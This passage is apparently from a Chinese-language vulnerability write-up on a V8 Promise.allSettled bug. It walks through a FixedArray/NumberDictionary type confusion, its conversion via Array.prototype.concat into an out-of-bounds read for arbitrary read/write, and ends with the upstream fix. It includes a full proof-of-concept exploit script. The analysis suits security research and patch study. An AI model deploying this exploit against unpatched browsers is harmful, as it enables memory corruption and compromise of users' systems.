inline bool requires_slow_elements();
inline void set_requires_slow_elements();

// Get the value of the max number key that has been added to this
// dictionary. max_number_key can only be called if
// requires_slow_elements returns false.
inline uint32_t max_number_key();

static const int kEntryValueIndex = 1;
static const int kEntryDetailsIndex = 2;

// Bit masks.
static const int kRequiresSlowElementsMask = 1;
static const int kRequiresSlowElementsTagSize = 1;
static const uint32_t kRequiresSlowElementsLimit = (1 << 29) - 1;

// JSObjects prefer dictionary elements if the dictionary saves this much
// memory compared to a fast elements backing store.
static const uint32_t kPreferFastElementsSizeFactor = 3;

OBJECT_CONSTRUCTORS(NumberDictionary,
Dictionary<NumberDictionary, NumberDictionaryShape>);
};

类型混淆

让我们重新来审计PromiseAllResolveElementClosure这个函数,只不过这一次我们关心的是V8如何将promise的处理结果保存至valuesArray 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
// ...

// Update the value depending on whether Promise.all or
// Promise.allSettled is called.
const updatedValue = wrapResultFunctor.Call(nativeContext, value); // ---> [3]

const identityHash =
LoadJSReceiverIdentityHash(function) otherwise unreachable;
assert(identityHash > 0);
const index = identityHash - 1;

// Check if we need to grow the [[ValuesArray]] to store {value} at {index}.
const valuesArray = UnsafeCast<JSArray>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesArraySlot]);
const elements = UnsafeCast<FixedArray>(valuesArray.elements); // ---> [4]
const valuesLength = Convert<intptr>(valuesArray.length);
if (index < valuesLength) {
// The {index} is in bounds of the {values_array},
// just store the {value} and continue.
elements.objects[index] = updatedValue; // ---> [5]
}
// ...
}

在代码 [4] 处,valuesArray 的element被直接当作FixedArray来进行处理。但与此同时,我们已经获得了valuesArray,并能够对其进行操作了。通过在其上设置一个较大的索引值,我们可以把它转换为一个dictionary array,此时,就会出现FixedArray和NumberDictionary之间的类型混淆。

限制

乍一看上去,利用FixedArray和NumberDictionary之间的类型混淆似乎很容易就能造成可控的越界写。当V8想要将结果保存至valuesArray时,会首先检查index是否越界。如果index < array.length,那么V8就直接将结果写入array.elements(如代码 [5] 所示)。这是因为V8假定了valuesArray一定是属于PACKED_ELEMENT类型,使用的是FixedArray来存储元素,这种类型的数组,一定会有FixedArray长度大于等于array长度的约束。如果满足了index < array.length,显然也就满足了index < FixedArray.length,因此向FixedArray写入数据是不可能发生越界的。但利用类型混淆,我们可以将valuesArray转换为dictionary mode,此时使用的是NumberDictionary存储元素,array.length可以是一个很大的值,而NumberDictionary的size却可以比较小。这样一来,我们就可以绕过index < array.length的检查,造成越界写。但实际情况真的是这样吗?

经过进一步测试发现,在Torque编译器生成形如 elements.objects[index] = value 的代码时,是会额外加入越界检查的:

1
2
3
4
5
6
7
8
9
10
11
12
// src/builtins/torque-internal.tq
struct Slice<T: type> {
macro TryAtIndex(index: intptr):&T labels OutOfBounds {
if (Convert<uintptr>(index) < Convert<uintptr>(this.length)) {
return unsafe::NewReference<T>(
this.object, this.offset + index * %SizeOf<T>());
} else {
goto OutOfBounds;
}
}
// ...
}

这会最终执行到’unreachable code’,然后导致进程崩溃。因此,我们必须考虑其他方式。

另外的一个限制在于,越界写入的数据内容并不是我们可以控制的,它总是一个JSObject的地址,这个object生成于代码 [2] 处,例如: {status: “fulfilled”, value: 1}

Exploitation

上述利用思路存在着一些缺点:

  • 它不是一个100%成功率的方案
  • 它无法在32位环境中使用

而当时Pixel 4上的Chrome是32位的,意味着并不能满足要求。在之后的几周时间,我们找到了新的利用思路。

重新回顾这张对比图:

img

除了修改Capacity之外,是否有其他更好的选择?经过研究我们发现,MaxNumberKey这个字段有着非常特殊的含义。MaxNumberKey代表了这个数组中保存的所有元素的最大索引值,同时,其最低有效位表明了数组中是否存在特殊元素,例如accessors。以如下代码为例,我们可以在数组上定义一个getter:

1
2
3
4
5
6
7
8
let arr = []
arr[0x10000] = 1
Object.defineProperty(arr, 0, {
get : () => {
console.log("getter called")
return 1
}
})

此时,MaxNumberKey最低有效位为0,代表存在特殊元素。但是通过漏洞,我们可以将其覆写为一个JSObject的地址,而在V8中,任何HeapObject地址的最低位,恰好为1。即经过覆写的数组,即使上面定义了特殊元素,V8也会认为它不再特殊。

接下来,我们需要寻找能够充分利用这一影响的代码,在这里我们选择了Array.prototype.concat函数。该函数会调用至IterateElements,用于迭代被连接的数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bool IterateElements(Isolate* isolate, Handle<JSReceiver> receiver,
ArrayConcatVisitor* visitor) {
/* skip */
if (!visitor->has_simple_elements() ||
!HasOnlySimpleElements(isolate, *receiver)) {// ---> [6]
return IterateElementsSlow(isolate, receiver, length, visitor);
}
/* skip */
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
Handle<Object> element_value(elements->get(j), isolate);// ---> [7]
if (!element_value->IsTheHole(isolate)) {
if (!visitor->visit(j, element_value)) return false;
} else {
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (maybe.IsNothing()) return false;
if (maybe.FromJust()) {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);// ---> [8]
if (!visitor->visit(j, element_value)) return false;
}
}
});
/* skip */
}

在代码[6]处,V8检查了数组是否含有特殊元素,我们通过覆写MaxNumberKey,可以绕过这一检查,让函数进入后续的快速遍历路径。在代码[8]处,GetElement将触发accessor,执行自定义的js代码,从而有机会将数组的长度改为一个更小的值。随着遍历循环中的索引不断增大,最终在代码[7]处,会发生越界读。

1
2
3
4
5
6
7
8
9
10
11
12
var arr; // 假设arr是一个类型混淆后的数组
var victim_arr = new Array(0x200);
Object.defineProperty(arr, 0, {
get : () => {
print("=== getter called ===");
victim_arr.length = 0x10; // 在回调函数中修改数组长度
gc();
return 1;
}
});
// 越界读
arr.concat(victim_arr);

通过上述方案,我们将原本的类型混淆,转换成了另一处越界读问题。利用越界读,我们就拥有了fake obj的能力,进而也可以轻松实现任意地址读写了。

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
class MyCls {
constructor(executor) {
executor(custom_resolve, custom_reject);
}
static resolve() {
return {
then: (fulfill, reject) => {
if(count==4||count==3&&count!=0){
count--;
console.log(count);
console.log("call fulfill");
fulfill();
}
else if(count==2){
count--;
console.log(count);
console.log("call fulfill");
fulfill();
console.log("call reject");
reject();
}
else if(count==1){
count--;
console.log(count);
console.log("last_fulfilled ====================> fulfill");
last_fulfilled = fulfill;
last_rejected = reject;
}
else{
count--;
}
}
}
}
}

function custom_resolve(arr){
console.log("custom_resolve called");
console.log("-------------------------------------------------------------------");
console.log(count)
if (count==1){
%DebugPrint(arr);
%SystemBreak();
arr[0x10000] = 1;
%DebugPrint(arr);
%SystemBreak();
}
if (count==0){
%DebugPrint(arr);
%SystemBreak();
var victim_arr = new Array(0x200);

var data_buf = new ArrayBuffer(0x10);
victim_arr[1]=data_buf;
%DebugPrint(data_buf);
Object.defineProperty(arr, 0, {
get : () => {
console.log("getter called");
%DebugPrint(arr);
%DebugPrint(victim_arr);
%SystemBreak();
last_fulfilled();
%DebugPrint(victim_arr);
%SystemBreak();
victim_arr.length = 0x10;
%DebugPrint(victim_arr);
%SystemBreak();
gc();
%DebugPrint(victim_arr);
%DebugPrint(data_buf);
%SystemBreak();
return 1;
}
});
let a = arr.concat(victim_arr);
print(a[65538]);
%DebugPrint(a);
%SystemBreak();
}
}
function custom_reject(){
console.log("custom_reject called");
}

var count = 4;

var last_fulfilled = [];
var last_rejected = [];


var origin_resolve = Promise.resolve;
Promise.resolve = 1;
Promise.resolve = origin_resolve;


var tmp = new Array(4);

tmp[Symbol.isConcatSpreadable] = false; // 先设置为不可展开
tmp[Symbol.isConcatSpreadable] = true; // 再设置为可展开


Reflect.apply(Promise.allSettled, MyCls, [tmp]);

七、修复方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
 transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
- value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
+ value: JSAny, function: JSFunction, wrapResultFunctor: F,
+ hasResolveAndRejectClosures: constexpr bool): JSAny {
// We use the {function}s context as the marker to remember whether this
// resolve element closure was already called. It points to the resolve
// element context (which is a FunctionContext) until it was called the
@@ -98,10 +99,6 @@
const nativeContext = LoadNativeContext(context);
function.context = nativeContext;

- // Update the value depending on whether Promise.all or
- // Promise.allSettled is called.
- const updatedValue = wrapResultFunctor.Call(nativeContext, value);
-
// Determine the index from the {function}.
assert(kPropertyArrayNoHashSentinel == 0);
const identityHash =
@@ -123,6 +120,27 @@
context.elements[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot] = values;
}
+
+ // Promise.allSettled, for each input element, has both a resolve and a reject
+ // closure that share an [[AlreadyCalled]] boolean. That is, the input element
+ // can only be settled once: after resolve is called, reject returns early,
+ // and vice versa. Using {function}'s context as the marker only tracks
+ // per-closure instead of per-element. When the second resolve/reject closure
+ // is called on the same index, values.object[index] will already exist and
+ // will not be the hole value. In that case, return early. Everything up to
+ // this point is not yet observable to user code. This is not a problem for
+ // Promise.all since Promise.all has a single resolve closure (no reject) per
+ // element.
+ if (hasResolveAndRejectClosures) {
+ if (values.objects[index] != TheHole) deferred {
+ return Undefined;
+ }
+ }
+
+ // Update the value depending on whether Promise.all or
+ // Promise.allSettled is called.
+ const updatedValue = wrapResultFunctor.Call(nativeContext, value);
+
values.objects[index] = updatedValue;

remainingElementsCount = remainingElementsCount - 1;
@@ -148,7 +166,7 @@
js-implicit context: Context, receiver: JSAny,
target: JSFunction)(value: JSAny): JSAny {
return PromiseAllResolveElementClosure(
- value, target, PromiseAllWrapResultAsFulfilledFunctor{});
+ value, target, PromiseAllWrapResultAsFulfilledFunctor{}, false);
}

transitioning javascript builtin
@@ -156,7 +174,7 @@
js-implicit context: Context, receiver: JSAny,
target: JSFunction)(value: JSAny): JSAny {
return PromiseAllResolveElementClosure(
- value, target, PromiseAllSettledWrapResultAsFulfilledFunctor{});
+ value, target, PromiseAllSettledWrapResultAsFulfilledFunctor{}, true);
}

transitioning javascript builtin
@@ -164,6 +182,6 @@
js-implicit context: Context, receiver: JSAny,
target: JSFunction)(value: JSAny): JSAny {
return PromiseAllResolveElementClosure(
- value, target, PromiseAllSettledWrapResultAsRejectedFunctor{});
+ value, target, PromiseAllSettledWrapResultAsRejectedFunctor{}, true);
}
}